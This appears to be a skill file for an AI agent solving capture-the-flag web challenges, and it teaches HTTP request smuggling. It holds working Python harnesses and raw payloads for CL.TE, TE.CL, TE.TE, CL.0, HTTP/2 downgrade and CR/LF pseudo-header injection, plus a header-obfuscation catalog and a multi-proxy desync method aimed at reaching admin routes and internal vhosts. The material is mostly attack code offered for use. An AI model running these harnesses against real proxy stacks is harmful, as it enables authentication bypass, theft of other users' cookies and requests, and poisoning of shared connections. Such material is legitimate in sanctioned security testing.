- name
- smuggling
- description
- HTTP Request Smuggling (HRS) — front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).
- metadata
- {"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"HTTP request smuggling, HRS, request smuggling, desync, CL.TE, TE.CL, TE.TE, h2.cl, h2.te, HTTP/2 downgrade, HTTP downgrade, h2c smuggling, pipelining, header folding, content-length transfer-encoding mismatch, frontend backend disagreement, multi-proxy stack, CDN frontend, reverse proxy, smuggling_desync challenge tag, hrs"}
# HTTP Request Smuggling (Desync)
Exploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN/proxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the "smuggled" prefix of the next victim request — letting the attacker rewrite the next user's request, steal cookies/headers, or hit auth-bypassed routes.
## When This Skill Is Primary
HRS bypasses authentication and authorization at the front-end/back-end boundary — it does NOT need correct credentials. **When `smuggling_desync` (or `request_smuggling` / `hrs` / `desync`) co-occurs with credential-related tags (`default_credentials`, `jwt`, `weak_password`), smuggling IS the primary attack vector.** Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE.
Reasoning: a CTF that ships both tags is signaling "you have a low-priv account (`test:test`, etc.) — use it as your session anchor and bypass the role check via parser disagreement." Burning the time budget on `admin:*` brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request.
The same logic applies when `smuggling_desync` co-occurs with `cve` (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling — see Variant Catalog → CL.0 / pause-based desync below).
## Recognition Signals
Trigger this skill when ANY of the following are present:
- **Multi-proxy stack visible**: two `Server:` strings across responses (e.g. `cloudflare` then `gunicorn`); `Via:` header present; CDN/edge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly).
- **Differential 400/501** when sending duplicate/obfuscated `Transfer-Encoding` or `Content-Length` headers (one path 200, another 400/501).
- **HTTP/2 frontend** with HTTP/1.1 backend (`alt-svc: h2`, `:status` pseudo-header, `HTTP/2` ALPN). Downgrades are the modern smuggling surface.
- **Pipelining differences**: connection reused across requests with inconsistent framing.
- **Challenge tag** includes `smuggling_desync`, `request_smuggling`, `hrs`, `desync`, or recon's "Frontend behavior" line says "frontend forwards malformed framing".
- **Recon handoff** notes that the same payload yields different status codes when sent to different proxy hops or with different framing.
## Confirm-Desync Gate
**STOP**. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle — it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer.
```bash
timeout 60 python3 -u -c '
import socket, sys
HOST, PORT = "<TARGET>", 443 # use 80 for plain HTTP
USE_TLS = (PORT == 443)
# CL.TE smuggling probe — front-end uses Content-Length, back-end uses Transfer-Encoding.
# A real desync makes the back-end park "X" as the start of the NEXT request on this socket.
smuggle = (
"POST / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"Content-Length: 6\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"X" # the smuggled prefix
)
victim = (
"GET / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"\r\n"
)
s = socket.create_connection((HOST, PORT), timeout=5)
if USE_TLS:
import ssl
s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
s.settimeout(5)
s.sendall(smuggle.encode() + victim.encode())
buf = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
if len(buf) > 16384:
break
except socket.timeout:
pass
finally:
s.close()
# Desync signal: victim request fails with 400/405 because "XGET" landed at backend.
# Baseline GET / on the same target returns 200 — so 400/405 here is the smoke.
sys.stdout.write(buf[:2048].decode(errors="replace"))
sys.stdout.flush()
' 2>&1 | tee smuggle_gate.txt
```
**Pass criteria** (any one):
- Second response shows `400 Bad Request` containing `XGET` / `Invalid method` / `bad request line`.
- Connection closes after the first response with the second never sent (back-end ate the smuggled bytes).
- Repeating the same probe on a fresh connection still 200s — i.e. the desync is connection-scoped.
If gate FAILS (no pass criteria met before the harness's outer `timeout` fires): do NOT iterate variants. Hand back to recon with "no desync confirmed despite differential parsing — multi-proxy stack may not exist on this path".
If gate PASSES: continue to the variant catalog with the same connection-pinning style.
## Variant Catalog
Each variant is a single in-file Python harness. Always:
- `sock.settimeout(<bounded>)` BEFORE `connect` AND before each `recv`.
- Outer wall: `timeout <bounded> python3 -u -c '...'` (the gate may need a longer wall than per-variant iteration).
- `python3 -u` for line-buffered stdout (or `sys.stdout.flush()`).
- Bounded `recv` loop (max ~16 KB or break on empty).
- ONE socket per variant; close it in `finally`.
### CL.TE (front=CL, back=TE)
Front-end honors `Content-Length`, back-end honors `Transfer-Encoding: chunked`. Smuggle the prefix in the chunked body's terminating `0\r\n\r\n` overflow.
```python
# timeout 30 python3 -u -c '...'
import socket, ssl
HOST, PORT, USE_TLS = "<TARGET>", 443, True
req = (
"POST / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"GPOST / HTTP/1.1\r\n"
)
s = socket.create_connection((HOST, PORT), timeout=5)
if USE_TLS:
s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
s.settimeout(5)
s.sendall(req.encode())
print(s.recv(4096).decode(errors="replace"))
s.close()
```
### TE.CL (front=TE, back=CL)
Front-end uses chunked, back-end uses `Content-Length`. The chunked size declaration smuggles past the back-end's CL boundary.
```python
body_smuggled = "GET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n"
chunk_size = format(len(body_smuggled), "x")
req = (
"POST / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
f"Content-Length: {len(chunk_size) + 2 + 2}\r\n" # only the chunk-size line + CRLF + 0\r\n
"Transfer-Encoding: chunked\r\n"
"\r\n"
f"{chunk_size}\r\n"
f"{body_smuggled}"
"0\r\n"
"\r\n"
)
```
### TE.TE — Header Obfuscation Catalog
Both proxies process `Transfer-Encoding`, but only one is fooled by an obfuscated header. Send TWO `TE` headers; if one parser accepts one and rejects the other, you get desync.
| Obfuscation | Example header line |
|-------------|--------------------|
| Duplicate header | `Transfer-Encoding: chunked\r\nTransfer-Encoding: chunked` |
| Space prefix | ` Transfer-Encoding: chunked` (leading SP) |
| Tab prefix | `\tTransfer-Encoding: chunked` |
| Mixed case | `Transfer-encoding: ChUnKeD` |
| Trailing whitespace | `Transfer-Encoding : chunked` (SP before colon) |
| Header folding (obsolete) | `Transfer-Encoding:\r\n chunked` (continuation line) |
| Bogus value + valid | `Transfer-Encoding: cow\r\nTransfer-Encoding: chunked` |
| Vertical tab | `Transfer-Encoding:\x0bchunked` |
```python
# Example: duplicate-header TE.TE
req = (
"POST / HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"Content-Length: 4\r\n"
"Transfer-Encoding: chunked\r\n"
"Transfer-Encoding: cow\r\n" # second TE confuses one of the two parsers
"\r\n"
"5c\r\nGPOST / HTTP/1.1\r\nHost: <TARGET>\r\n\r\n"
"0\r\n\r\n"
)
```
### CL.0
Back-end ignores `Content-Length` on certain methods/paths (treats them as `CL: 0`). Front-end forwards the body, back-end parses it as the next request. Common against static-asset paths or `OPTIONS` handlers.
```python
req = (
"POST /static/foo.css HTTP/1.1\r\n"
"Host: <TARGET>\r\n"
"Content-Length: 38\r\n"
"\r\n"
"GET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n"
)
```
### HTTP/2 Downgrade (h2.cl, h2.te)
Front-end speaks HTTP/2, back-end speaks HTTP/1.1. The h2→h1 downgrader translates pseudo-headers and may forward `:method`, `:path`, and arbitrary header bytes (including CR/LF) into a back-end request line. Two flavors:
- **h2.cl** — h2 request carries an explicit `content-length` longer/shorter than the data frame; downgrader forwards the declared CL, back-end mis-frames.
- **h2.te** — h2 request carries `transfer-encoding: chunked`; some downgraders forward the header verbatim, the back-end then chunks while the front-end already CL-framed.
Use a real h2 client (`hyper`, `h2`, `httpx[http2]`) — raw sockets are too painful here. Keep the same timeout discipline.
```python
# pip install httpx h2
import httpx
client = httpx.Client(http2=True, timeout=5.0, verify=True)
# h2.te smuggle attempt
r = client.post(
"https://<TARGET>/",
headers={"transfer-encoding": "chunked"},
content=b"0\r\n\r\nSMUGGLED PREFIX",
)
print(r.status_code, r.headers.get("server"), r.text[:300])
```
### CR/LF Injection in HTTP/2 Pseudo-Headers
If the downgrader does not strip CR/LF inside `:path` or other pseudo-header values, you can inject a full second request:
```python
r = client.get(
"https://<TARGET>/",
headers={":path": "/x\r\nHost: evil\r\n\r\nGET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n"},
)
```
Most h2 client libraries refuse to send CR/LF in pseudo-headers — you may need to monkeypatch the validator or drop to a low-level frame builder (`hyperframe`).
### Pipelining
When a connection is keep-alive and the front-end forwards multiple requests on it, classic CL/TE confusion smuggles the SECOND request on the wire. The gate above is already a pipelining probe.
### Connection-State Pinning
Some intermediaries pin the (frontend → backend) socket per first-Host-header. Smuggling a `Host: internal` prefix can rewrite which back-end vhost subsequent victim requests reach. Test by smuggling `Host: admin.<target>` and checking whether subsequent baseline requests now route there.
### Triple-tier (3+ proxy) desync matrix
Production stacks rarely have just front/back. Typical chains: `CDN → WAF → LB → origin`, `MITM/observability proxy → reverse-proxy → app-server → app`, `cloud LB → ingress → service mesh → pod`. With N proxies in series there are N-1 hop boundaries, and **every hop boundary is a potential desync point** with its own parser-pair semantics. A payload that "doesn't work" on the outermost pair may smuggle perfectly across an inner pair.
**Enumerate the chain first.** Tier identification is recon: response headers (`Via:`, `Server:`, `X-Forwarded-*`, `X-Cache:`, `X-Proxy-*`, repeated/duplicated values), behavioral fingerprints (which tier returns 4xx on which malformed input), timing (each hop adds latency), and source-disclosure paths in the engagement. Map the chain top-down before crafting payloads:
| Step | Probe | What you learn |
|------|-------|----------------|
| 1 | `curl -sv <TARGET>/` 2>&1 \| grep -iE '^(server\|via\|x-)' | First-line tier (front-most CDN/WAF/MITM banner) |
| 2 | Send a known-bad path → which tier 4xx's | Each tier's error fingerprint (HTML template, 4xx code shape) |
| 3 | Send oversized header → which tier truncates / 431s | Buffer limits per tier (helps frame payload size) |
| 4 | Send malformed TE / duplicate-CL → which tier errors WITH WHICH BODY | Reveals the parser strictness of EACH tier independently |
| 5 | Send `OPTIONS *` → who answers | Reveals the back-most tier that responds, vs intermediates that proxy |
Once you have N tiers, enumerate the N-1 desync targets:
```
T1 → T2 → T3 → T4 (origin)
^^^^^^^^ = pair AB: CL.TE / TE.CL / TE.TE matrix
^^^^^^^^ = pair BC: same matrix, different parsers
^^^^^^^^ = pair CD: same matrix, often differs again
```
**Probing each hop-boundary** — the same per-variant Python harness works, but you target a specific pair by exploiting that pair's parser asymmetry. Practical guidance:
1. **Start with the back-most pair you can prove was reached** (e.g. pair CD origin-adjacent). If you can smuggle to origin, you bypass every tier above without needing front-pair desync. Probe: smuggle a request whose response body is *visibly different from what the outer tiers would emit* (an internal vhost banner, an internal-only path served by origin). If the smuggled response surfaces, that pair desyncs.
2. **If origin-adjacent pair is locked** (modern app servers like nginx + apache often refuse CL+TE outright), walk OUTWARD one pair at a time. Each pair retains its own parser quirks regardless of upstream/downstream rigor — a strict origin can sit behind a tolerant MITM tier that desyncs the LB↔app boundary.
3. **Probe-pair-isolation trick**: send the same payload over a fresh TCP connection vs an existing keep-alive connection. If the keep-alive run yields a different response on the *second* request, the desync poisoned the back-end socket — that confirms an inner pair desyncs (the outer pair faithfully forwarded). New TCP shows the OUTER pair's behavior; reused connection shows the INNER pair behavior.
4. **`Via` header inversion**: if responses contain `Via: <tier-A>, <tier-B>` (typical of CDN+LB), smuggling that successfully bypasses tier-A will produce responses with `Via: <tier-B>` only (because tier-A never saw the smuggled inner request). Use the SHAPE of the `Via:` chain on a smuggled response vs a baseline response to confirm which pair was crossed.
5. **Triple-tier `Host` smuggle** (the common-stack admin-vhost win): when the chain is `MITM → LB(host-routing) → origin(vhost)` and LB chooses backend by `Host:` header, smuggling a fresh `Host: internal-admin.<target>` line in the inner request makes the LB route to an internal vhost the outer client could never reach. The two desync pairs you can use:
- **Outer-pair desync** (MITM↔LB): inject the inner request past MITM so LB sees a new request with the attacker's `Host:`. Pair AB matrix from above.
- **Inner-pair desync** (LB↔origin): keep MITM and LB in sync but desync at LB↔origin so origin processes a smuggled request with a different `Host:` than LB used for routing. Less common; signature is "LB-side ACL passed but origin served a different vhost's content."
**Anti-pattern**: assuming the chain is 2-tier and iterating CL.TE / TE.CL endlessly against the outer pair when the desync surface is actually 2 hops inward. If 8+ outer-pair variants produce no response divergence, the outer pair is rigid — STOP and shift focus inward via the probe ladder above.
عرض على GitHub